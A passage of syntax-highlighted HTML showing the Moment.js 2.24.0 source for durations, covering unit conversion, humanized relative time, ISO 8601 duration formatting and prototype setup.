<span class="number">0</span> &amp;&amp; days &gt;= <span class="number">0</span> &amp;&amp; months &gt;= <span class="number">0</span>) ||</span><br><span class="line">            (milliseconds &lt;= <span class="number">0</span> &amp;&amp; days &lt;= <span class="number">0</span> &amp;&amp; months &lt;= <span class="number">0</span>))) &#123;</span><br><span class="line">            milliseconds += <span class="title function_">absCeil</span>(<span class="title function_">monthsToDays</span>(months) + days) * <span class="number">864e5</span>;</span><br><span class="line">            days = <span class="number">0</span>;</span><br><span class="line">            months = <span class="number">0</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// The following code bubbles up values, see the tests for</span></span><br><span class="line">        <span class="comment">// examples of what that means.</span></span><br><span class="line">        data.<span class="property">milliseconds</span> = milliseconds % <span class="number">1000</span>;</span><br><span class="line"></span><br><span class="line">        seconds = <span class="title function_">absFloor</span>(milliseconds / <span class="number">1000</span>);</span><br><span class="line">        data.<span class="property">seconds</span> = seconds % <span class="number">60</span>;</span><br><span class="line"></span><br><span class="line">        minutes = <span class="title function_">absFloor</span>(seconds / <span class="number">60</span>);</span><br><span class="line">        data.<span class="property">minutes</span> = minutes % <span class="number">60</span>;</span><br><span class="line"></span><br><span class="line">        hours = <span class="title function_">absFloor</span>(minutes / <span class="number">60</span>);</span><br><span class="line">        data.<span class="property">hours</span> = hours % <span class="number">24</span>;</span><br><span class="line"></span><br><span class="line">        days += <span class="title function_">absFloor</span>(hours / <span class="number">24</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// convert days to months</span></span><br><span class="line">        monthsFromDays = <span class="title function_">absFloor</span>(<span class="title function_">daysToMonths</span>(days));</span><br><span class="line">        months += monthsFromDays;</span><br><span class="line">        days -= <span class="title function_">absCeil</span>(<span class="title function_">monthsToDays</span>(monthsFromDays));</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 12 months -&gt; 1 year</span></span><br><span class="line">        years = <span class="title function_">absFloor</span>(months / <span class="number">12</span>);</span><br><span class="line">        months %= <span class="number">12</span>;</span><br><span class="line"></span><br><span class="line">        data.<span class="property">days</span> = days;</span><br><span class="line">        data.<span class="property">months</span> = months;</span><br><span class="line">        data.<span class="property">years</span> = years;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">daysToMonths</span>(<span class="params">days</span>) &#123;</span><br><span class="line">        <span class="comment">// 400 years have 146097 days (taking into account leap year rules)</span></span><br><span class="line">        <span class="comment">// 400 years have 12 months === 4800</span></span><br><span class="line">        <span class="keyword">return</span> days * <span class="number">4800</span> / <span class="number">146097</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">monthsToDays</span>(<span class="params">months</span>) &#123;</span><br><span class="line">        <span class="comment">// the reverse of daysToMonths</span></span><br><span class="line">        <span class="keyword">return</span> months * <span class="number">146097</span> / <span class="number">4800</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">as</span>(<span class="params">units</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="variable language_">this</span>.<span class="title function_">isValid</span>()) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title class_">NaN</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">var</span> days;</span><br><span class="line">        <span class="keyword">var</span> months;</span><br><span class="line">        <span class="keyword">var</span> milliseconds = <span class="variable language_">this</span>.<span class="property">_milliseconds</span>;</span><br><span class="line"></span><br><span class="line">        units = <span class="title function_">normalizeUnits</span>(units);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (units === <span class="string">&#x27;month&#x27;</span> || units === <span class="string">&#x27;quarter&#x27;</span> || units === <span class="string">&#x27;year&#x27;</span>) &#123;</span><br><span class="line">            days = <span class="variable language_">this</span>.<span class="property">_days</span> + milliseconds / <span class="number">864e5</span>;</span><br><span class="line">            months = <span class="variable language_">this</span>.<span class="property">_months</span> + <span class="title function_">daysToMonths</span>(days);</span><br><span class="line">            <span class="keyword">switch</span> (units) &#123;</span><br><span class="line">                <span class="keyword">case</span> <span class="string">&#x27;month&#x27;</span>:</span><br><span class="line">                    <span class="keyword">return</span> months;</span><br><span class="line">                <span class="keyword">case</span> <span class="string">&#x27;quarter&#x27;</span>:</span><br><span class="line">                    <span class="keyword">return</span> months / <span class="number">3</span>;</span><br><span class="line">                <span class="keyword">case</span> <span class="string">&#x27;year&#x27;</span>:</span><br><span class="line">                    <span class="keyword">return</span> months / <span class="number">12</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="comment">// handle milliseconds separately because of floating point math errors (issue #1867)</span></span><br><span class="line">            days = <span class="variable language_">this</span>.<span class="property">_days</span> + <span class="title class_">Math</span>.<span class="title function_">round</span>(<span class="title function_">monthsToDays</span>(<span class="variable language_">this</span>.<span class="property">_months</span>));</span><br><span class="line">            <span class="keyword">switch</span> (units) &#123;</span><br><span class="line">                <span class="keyword">case</span> <span class="string">&#x27;week&#x27;</span>:</span><br><span class="line">                    <span class="keyword">return</span> days / <span class="number">7</span> + milliseconds / <span class="number">6048e5</span>;</span><br><span class="line">                <span class="keyword">case</span> <span class="string">&#x27;day&#x27;</span>:</span><br><span class="line">                    <span class="keyword">return</span> days + milliseconds / <span class="number">864e5</span>;</span><br><span class="line">                <span class="keyword">case</span> <span class="string">&#x27;hour&#x27;</span>:</span><br><span class="line">                    <span class="keyword">return</span> days * <span class="number">24</span> + milliseconds / <span class="number">36e5</span>;</span><br><span class="line">                <span class="keyword">case</span> <span class="string">&#x27;minute&#x27;</span>:</span><br><span class="line">                    <span class="keyword">return</span> days * <span class="number">1440</span> + milliseconds / <span class="number">6e4</span>;</span><br><span class="line">                <span class="keyword">case</span> <span class="string">&#x27;second&#x27;</span>:</span><br><span class="line">                    <span class="keyword">return</span> days * <span class="number">86400</span> + milliseconds / <span class="number">1000</span>;</span><br><span class="line">                <span class="comment">// Math.floor prevents floating point math errors here</span></span><br><span class="line">                <span class="keyword">case</span> <span class="string">&#x27;millisecond&#x27;</span>:</span><br><span class="line">                    <span class="keyword">return</span> <span class="title class_">Math</span>.<span class="title function_">floor</span>(days * <span class="number">864e5</span>) + milliseconds;</span><br><span class="line">                <span class="attr">default</span>:</span><br><span class="line">                    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">Error</span>(<span class="string">&#x27;Unknown unit &#x27;</span> + units);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// <span class="doctag">TODO:</span> Use this.as(&#x27;ms&#x27;)?</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">valueOf$1</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="variable language_">this</span>.<span class="title function_">isValid</span>()) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title class_">NaN</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> (</span><br><span class="line">            <span class="variable language_">this</span>.<span class="property">_milliseconds</span> +</span><br><span class="line">            <span class="variable language_">this</span>.<span class="property">_days</span> * <span class="number">864e5</span> +</span><br><span class="line">            (<span class="variable language_">this</span>.<span class="property">_months</span> % <span class="number">12</span>) * <span class="number">2592e6</span> +</span><br><span class="line">            <span class="title function_">toInt</span>(<span class="variable language_">this</span>.<span class="property">_months</span> / <span class="number">12</span>) * <span class="number">31536e6</span></span><br><span class="line">        );</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">makeAs</span>(<span class="params">alias</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">as</span>(alias);</span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> asMilliseconds = <span class="title function_">makeAs</span>(<span class="string">&#x27;ms&#x27;</span>);</span><br><span class="line">    <span class="keyword">var</span> asSeconds = <span class="title function_">makeAs</span>(<span class="string">&#x27;s&#x27;</span>);</span><br><span class="line">    <span class="keyword">var</span> asMinutes = <span class="title function_">makeAs</span>(<span class="string">&#x27;m&#x27;</span>);</span><br><span class="line">    <span class="keyword">var</span> asHours = <span class="title function_">makeAs</span>(<span class="string">&#x27;h&#x27;</span>);</span><br><span class="line">    <span class="keyword">var</span> asDays = <span class="title function_">makeAs</span>(<span class="string">&#x27;d&#x27;</span>);</span><br><span class="line">    <span class="keyword">var</span> asWeeks = <span class="title function_">makeAs</span>(<span class="string">&#x27;w&#x27;</span>);</span><br><span class="line">    <span class="keyword">var</span> asMonths = <span class="title function_">makeAs</span>(<span class="string">&#x27;M&#x27;</span>);</span><br><span class="line">    <span class="keyword">var</span> asQuarters = <span class="title function_">makeAs</span>(<span class="string">&#x27;Q&#x27;</span>);</span><br><span class="line">    <span class="keyword">var</span> asYears = <span class="title function_">makeAs</span>(<span class="string">&#x27;y&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">clone$1</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">createDuration</span>(<span class="variable language_">this</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">get$2</span>(<span class="params">units</span>) &#123;</span><br><span class="line">        units = <span class="title function_">normalizeUnits</span>(units);</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">isValid</span>() ? <span class="variable language_">this</span>[units + <span class="string">&#x27;s&#x27;</span>]() : <span class="title class_">NaN</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">makeGetter</span>(<span class="params">name</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">isValid</span>() ? <span class="variable language_">this</span>.<span class="property">_data</span>[name] : <span class="title class_">NaN</span>;</span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> milliseconds = <span class="title function_">makeGetter</span>(<span class="string">&#x27;milliseconds&#x27;</span>);</span><br><span class="line">    <span class="keyword">var</span> seconds = <span class="title function_">makeGetter</span>(<span class="string">&#x27;seconds&#x27;</span>);</span><br><span class="line">    <span class="keyword">var</span> minutes = <span class="title function_">makeGetter</span>(<span class="string">&#x27;minutes&#x27;</span>);</span><br><span class="line">    <span class="keyword">var</span> hours = <span class="title function_">makeGetter</span>(<span class="string">&#x27;hours&#x27;</span>);</span><br><span class="line">    <span class="keyword">var</span> days = <span class="title function_">makeGetter</span>(<span class="string">&#x27;days&#x27;</span>);</span><br><span class="line">    <span class="keyword">var</span> months = <span class="title function_">makeGetter</span>(<span class="string">&#x27;months&#x27;</span>);</span><br><span class="line">    <span class="keyword">var</span> years = <span class="title function_">makeGetter</span>(<span class="string">&#x27;years&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">weeks</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">absFloor</span>(<span class="variable language_">this</span>.<span class="title function_">days</span>() / <span class="number">7</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> round = <span class="title class_">Math</span>.<span class="property">round</span>;</span><br><span class="line">    <span class="keyword">var</span> thresholds = &#123;</span><br><span class="line">        <span class="attr">ss</span>: <span class="number">44</span>, <span class="comment">// a few seconds to seconds</span></span><br><span class="line">        <span class="attr">s</span>: <span class="number">45</span>, <span class="comment">// seconds to minute</span></span><br><span class="line">        <span class="attr">m</span>: <span class="number">45</span>, <span class="comment">// minutes to hour</span></span><br><span class="line">        <span class="attr">h</span>: <span class="number">22</span>, <span class="comment">// hours to day</span></span><br><span class="line">        <span class="attr">d</span>: <span class="number">26</span>, <span class="comment">// days to month</span></span><br><span class="line">        <span class="attr">M</span>: <span class="number">11</span> <span class="comment">// months to year</span></span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// helper function for moment.fn.from, moment.fn.fromNow, and moment.duration.fn.humanize</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">substituteTimeAgo</span>(<span class="params">string, number, withoutSuffix, isFuture, locale</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> locale.<span class="title function_">relativeTime</span>(number || <span class="number">1</span>, !!withoutSuffix, string, isFuture);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">relativeTime$1</span>(<span class="params">posNegDuration, withoutSuffix, locale</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> duration = <span class="title function_">createDuration</span>(posNegDuration).<span class="title function_">abs</span>();</span><br><span class="line">        <span class="keyword">var</span> seconds = <span class="title function_">round</span>(duration.<span class="title function_">as</span>(<span class="string">&#x27;s&#x27;</span>));</span><br><span class="line">        <span class="keyword">var</span> minutes = <span class="title function_">round</span>(duration.<span class="title function_">as</span>(<span class="string">&#x27;m&#x27;</span>));</span><br><span class="line">        <span class="keyword">var</span> hours = <span class="title function_">round</span>(duration.<span class="title function_">as</span>(<span class="string">&#x27;h&#x27;</span>));</span><br><span class="line">        <span class="keyword">var</span> days = <span class="title function_">round</span>(duration.<span class="title function_">as</span>(<span class="string">&#x27;d&#x27;</span>));</span><br><span class="line">        <span class="keyword">var</span> months = <span class="title function_">round</span>(duration.<span class="title function_">as</span>(<span class="string">&#x27;M&#x27;</span>));</span><br><span class="line">        <span class="keyword">var</span> years = <span class="title function_">round</span>(duration.<span class="title function_">as</span>(<span class="string">&#x27;y&#x27;</span>));</span><br><span class="line"></span><br><span class="line">        <span class="keyword">var</span> a = seconds &lt;= thresholds.<span class="property">ss</span> &amp;&amp; [<span class="string">&#x27;s&#x27;</span>, seconds] ||</span><br><span class="line">            seconds &lt; thresholds.<span class="property">s</span> &amp;&amp; [<span class="string">&#x27;ss&#x27;</span>, seconds] ||</span><br><span class="line">            minutes &lt;= <span class="number">1</span> &amp;&amp; [<span class="string">&#x27;m&#x27;</span>] ||</span><br><span class="line">            minutes &lt; thresholds.<span class="property">m</span> &amp;&amp; [<span class="string">&#x27;mm&#x27;</span>, minutes] ||</span><br><span class="line">            hours &lt;= <span class="number">1</span> &amp;&amp; [<span class="string">&#x27;h&#x27;</span>] ||</span><br><span class="line">            hours &lt; thresholds.<span class="property">h</span> &amp;&amp; [<span class="string">&#x27;hh&#x27;</span>, hours] ||</span><br><span class="line">            days &lt;= <span class="number">1</span> &amp;&amp; [<span class="string">&#x27;d&#x27;</span>] ||</span><br><span class="line">            days &lt; thresholds.<span class="property">d</span> &amp;&amp; [<span class="string">&#x27;dd&#x27;</span>, days] ||</span><br><span class="line">            months &lt;= <span class="number">1</span> &amp;&amp; [<span class="string">&#x27;M&#x27;</span>] ||</span><br><span class="line">            months &lt; thresholds.<span class="property">M</span> &amp;&amp; [<span class="string">&#x27;MM&#x27;</span>, months] ||</span><br><span class="line">            years &lt;= <span class="number">1</span> &amp;&amp; [<span class="string">&#x27;y&#x27;</span>] || [<span class="string">&#x27;yy&#x27;</span>, years];</span><br><span class="line"></span><br><span class="line">        a[<span class="number">2</span>] = withoutSuffix;</span><br><span class="line">        a[<span class="number">3</span>] = +posNegDuration &gt; <span class="number">0</span>;</span><br><span class="line">        a[<span class="number">4</span>] = locale;</span><br><span class="line">        <span class="keyword">return</span> substituteTimeAgo.<span class="title function_">apply</span>(<span class="literal">null</span>, a);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// This function allows you to set the rounding function for relative time strings</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getSetRelativeTimeRounding</span>(<span class="params">roundingFunction</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (roundingFunction === <span class="literal">undefined</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> round;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_">typeof</span> (roundingFunction) === <span class="string">&#x27;function&#x27;</span>) &#123;</span><br><span class="line">            round = roundingFunction;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// This function allows you to set a threshold for relative time strings</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getSetRelativeTimeThreshold</span>(<span class="params">threshold, limit</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (thresholds[threshold] === <span class="literal">undefined</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (limit === <span class="literal">undefined</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> thresholds[threshold];</span><br><span class="line">        &#125;</span><br><span class="line">        thresholds[threshold] = limit;</span><br><span class="line">        <span class="keyword">if</span> (threshold === <span class="string">&#x27;s&#x27;</span>) &#123;</span><br><span class="line">            thresholds.<span class="property">ss</span> = limit - <span class="number">1</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">humanize</span>(<span class="params">withSuffix</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="variable language_">this</span>.<span class="title function_">isValid</span>()) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">localeData</span>().<span class="title function_">invalidDate</span>();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">var</span> locale = <span class="variable language_">this</span>.<span class="title function_">localeData</span>();</span><br><span class="line">        <span class="keyword">var</span> output = <span class="title function_">relativeTime$1</span>(<span class="variable language_">this</span>, !withSuffix, locale);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (withSuffix) &#123;</span><br><span class="line">            output = locale.<span class="title function_">pastFuture</span>(+<span class="variable language_">this</span>, output);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> locale.<span class="title function_">postformat</span>(output);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> abs$1 = <span class="title class_">Math</span>.<span class="property">abs</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">sign</span>(<span class="params">x</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> ((x &gt; <span class="number">0</span>) - (x &lt; <span class="number">0</span>)) || +x;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">toISOString$1</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="comment">// for ISO strings we do not use the normal bubbling rules:</span></span><br><span class="line">        <span class="comment">//  * milliseconds bubble up until they become hours</span></span><br><span class="line">        <span class="comment">//  * days do not bubble at all</span></span><br><span class="line">        <span class="comment">//  * months bubble up until they become years</span></span><br><span class="line">        <span class="comment">// This is because there is no context-free conversion between hours and days</span></span><br><span class="line">        <span class="comment">// (think of clock changes)</span></span><br><span class="line">        <span class="comment">// and also not between days and months (28-31 days per month)</span></span><br><span class="line">        <span class="keyword">if</span> (!<span class="variable language_">this</span>.<span class="title function_">isValid</span>()) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">localeData</span>().<span class="title function_">invalidDate</span>();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">var</span> seconds = <span class="title function_">abs$1</span>(<span class="variable language_">this</span>.<span class="property">_milliseconds</span>) / <span class="number">1000</span>;</span><br><span class="line">        <span class="keyword">var</span> days = <span class="title function_">abs$1</span>(<span class="variable language_">this</span>.<span class="property">_days</span>);</span><br><span class="line">        <span class="keyword">var</span> months = <span class="title function_">abs$1</span>(<span class="variable language_">this</span>.<span class="property">_months</span>);</span><br><span class="line">        <span class="keyword">var</span> minutes, hours, years;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 3600 seconds -&gt; 60 minutes -&gt; 1 hour</span></span><br><span class="line">        minutes = <span class="title function_">absFloor</span>(seconds / <span class="number">60</span>);</span><br><span class="line">        hours = <span class="title function_">absFloor</span>(minutes / <span class="number">60</span>);</span><br><span class="line">        seconds %= <span class="number">60</span>;</span><br><span class="line">        minutes %= <span class="number">60</span>;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 12 months -&gt; 1 year</span></span><br><span class="line">        years = <span class="title function_">absFloor</span>(months / <span class="number">12</span>);</span><br><span class="line">        months %= <span class="number">12</span>;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="comment">// inspired by https://github.com/dordille/moment-isoduration/blob/master/moment.isoduration.js</span></span><br><span class="line">        <span class="keyword">var</span> Y = years;</span><br><span class="line">        <span class="keyword">var</span> M = months;</span><br><span class="line">        <span class="keyword">var</span> D = days;</span><br><span class="line">        <span class="keyword">var</span> h = hours;</span><br><span class="line">        <span class="keyword">var</span> m = minutes;</span><br><span class="line">        <span class="keyword">var</span> s = seconds ? seconds.<span class="title function_">toFixed</span>(<span class="number">3</span>).<span class="title function_">replace</span>(<span class="regexp">/\.?0+$/</span>, <span class="string">&#x27;&#x27;</span>) : <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">        <span class="keyword">var</span> total = <span class="variable language_">this</span>.<span class="title function_">asSeconds</span>();</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (!total) &#123;</span><br><span class="line">            <span class="comment">// this is the same as C#&#x27;s (Noda) and python (isodate)...</span></span><br><span class="line">            <span class="comment">// but not other JS (goog.date)</span></span><br><span class="line">            <span class="keyword">return</span> <span class="string">&#x27;P0D&#x27;</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">var</span> totalSign = total &lt; <span class="number">0</span> ? <span class="string">&#x27;-&#x27;</span> : <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">        <span class="keyword">var</span> ymSign = <span class="title function_">sign</span>(<span class="variable language_">this</span>.<span class="property">_months</span>) !== <span class="title function_">sign</span>(total) ? <span class="string">&#x27;-&#x27;</span> : <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">        <span class="keyword">var</span> daysSign = <span class="title function_">sign</span>(<span class="variable language_">this</span>.<span class="property">_days</span>) !== <span class="title function_">sign</span>(total) ? <span class="string">&#x27;-&#x27;</span> : <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">        <span class="keyword">var</span> hmsSign = <span class="title function_">sign</span>(<span class="variable language_">this</span>.<span class="property">_milliseconds</span>) !== <span class="title function_">sign</span>(total) ? <span class="string">&#x27;-&#x27;</span> : <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> totalSign + <span class="string">&#x27;P&#x27;</span> +</span><br><span class="line">            (Y ? ymSign + Y + <span class="string">&#x27;Y&#x27;</span> : <span class="string">&#x27;&#x27;</span>) +</span><br><span class="line">            (M ? ymSign + M + <span class="string">&#x27;M&#x27;</span> : <span class="string">&#x27;&#x27;</span>) +</span><br><span class="line">            (D ? daysSign + D + <span class="string">&#x27;D&#x27;</span> : <span class="string">&#x27;&#x27;</span>) +</span><br><span class="line">            ((h || m || s) ? <span class="string">&#x27;T&#x27;</span> : <span class="string">&#x27;&#x27;</span>) +</span><br><span class="line">            (h ? hmsSign + h + <span class="string">&#x27;H&#x27;</span> : <span class="string">&#x27;&#x27;</span>) +</span><br><span class="line">            (m ? hmsSign + m + <span class="string">&#x27;M&#x27;</span> : <span class="string">&#x27;&#x27;</span>) +</span><br><span class="line">            (s ? hmsSign + s + <span class="string">&#x27;S&#x27;</span> : <span class="string">&#x27;&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> proto$2 = <span class="title class_">Duration</span>.<span class="property"><span class="keyword">prototype</span></span>;</span><br><span class="line"></span><br><span class="line">    proto$2.<span class="property">isValid</span> = isValid$1;</span><br><span class="line">    proto$2.<span class="property">abs</span> = abs;</span><br><span class="line">    proto$2.<span class="property">add</span> = add$1;</span><br><span class="line">    proto$2.<span class="property">subtract</span> = subtract$1;</span><br><span class="line">    proto$2.<span class="property">as</span> = <span class="keyword">as</span>;</span><br><span class="line">    proto$2.<span class="property">asMilliseconds</span> = asMilliseconds;</span><br><span class="line">    proto$2.<span class="property">asSeconds</span> = asSeconds;</span><br><span class="line">    proto$2.<span class="property">asMinutes</span> = asMinutes;</span><br><span class="line">    proto$2.<span class="property">asHours</span> = asHours;</span><br><span class="line">    proto$2.<span class="property">asDays</span> = asDays;</span><br><span class="line">    proto$2.<span class="property">asWeeks</span> = asWeeks;</span><br><span class="line">    proto$2.<span class="property">asMonths</span> = asMonths;</span><br><span class="line">    proto$2.<span class="property">asQuarters</span> = asQuarters;</span><br><span class="line">    proto$2.<span class="property">asYears</span> = asYears;</span><br><span class="line">    proto$2.<span class="property">valueOf</span> = valueOf$1;</span><br><span class="line">    proto$2.<span class="property">_bubble</span> = bubble;</span><br><span class="line">    proto$2.<span class="property">clone</span> = clone$1;</span><br><span class="line">    proto$2.<span class="property">get</span> = get$2;</span><br><span class="line">    proto$2.<span class="property">milliseconds</span> = milliseconds;</span><br><span class="line">    proto$2.<span class="property">seconds</span> = seconds;</span><br><span class="line">    proto$2.<span class="property">minutes</span> = minutes;</span><br><span class="line">    proto$2.<span class="property">hours</span> = hours;</span><br><span class="line">    proto$2.<span class="property">days</span> = days;</span><br><span class="line">    proto$2.<span class="property">weeks</span> = weeks;</span><br><span class="line">    proto$2.<span class="property">months</span> = months;</span><br><span class="line">    proto$2.<span class="property">years</span> = years;</span><br><span class="line">    proto$2.<span class="property">humanize</span> = humanize;</span><br><span class="line">    proto$2.<span class="property">toISOString</span> = toISOString$1;</span><br><span class="line">    proto$2.<span class="property">toString</span> = toISOString$1;</span><br><span class="line">    proto$2.<span class="property">toJSON</span> = toISOString$1;</span><br><span class="line">    proto$2.<span class="property">locale</span> = locale;</span><br><span class="line">    proto$2.<span class="property">localeData</span> = localeData;</span><br><span class="line"></span><br><span class="line">    proto$2.<span class="property">toIsoString</span> = <span class="title function_">deprecate</span>(</span><br><span class="line">        <span class="string">&#x27;toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)&#x27;</span>,</span><br><span class="line">        toISOString$1);</span><br><span class="line">    proto$2.<span class="property">lang</span> = lang;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Side effect imports</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// FORMATTING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;X&#x27;</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="string">&#x27;unix&#x27;</span>);</span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;x&#x27;</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="string">&#x27;valueOf&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// PARSING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;x&#x27;</span>, matchSigned);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;X&#x27;</span>, matchTimestamp);</span><br><span class="line">    <span class="title function_">addParseToken</span>(<span class="string">&#x27;X&#x27;</span>, <span class="keyword">function</span> (<span class="params">input, array, config</span>) &#123;</span><br><span class="line">        config.<span class="property">_d</span> = <span class="keyword">new</span> <span class="title class_">Date</span>(<span class="built_in">parseFloat</span>(input, <span class="number">10</span>) * <span class="number">1000</span>);</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="title function_">addParseToken</span>(<span class="string">&#x27;x&#x27;</span>, <span class="keyword">function</span> (<span class="params">input, array, config</span>) &#123;</span><br><span class="line">        config.<span class="property">_d</span> = <span class="keyword">new</span> <span class="title class_">Date</span>(<span class="title function_">toInt</span>(input));</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Side effect imports</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    hooks.<span class="property">version</span> = <span class="string">&#x27;2.24.0&#x27;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="title function_">setHookCallback</span>(createLocal);</span><br><span class="line"></span><br><span class="line">    hooks.<span class="property">fn</span> = proto;</span><br><span class="line">    hooks.<span class="property">min</span> = min;</span><br><span class="line">    hooks.<span class="property">max</span> = max;</span><br><span class="line">    hooks.<span class="property">now</span> = now;</span><br><span class="line">    hooks.<span class="property">utc</span> = createUTC;</span><br><span class="line">    hooks.<span class="property">unix</span> = createUnix;</span><br><span class="line">    hooks.<span class="property">months</span> = listMonths;</span><br><span class="line">    hooks.<span class="property">isDate</span> = isDate;</span><br><span class="line">    hooks.<span class="property">locale</span> = getSetGlobalLocale;</span><br><span class="line">    hooks.<span class="property">invalid</span> = createInvalid;</span><br><span class="line">    hooks.<span class="property">duration</span> = 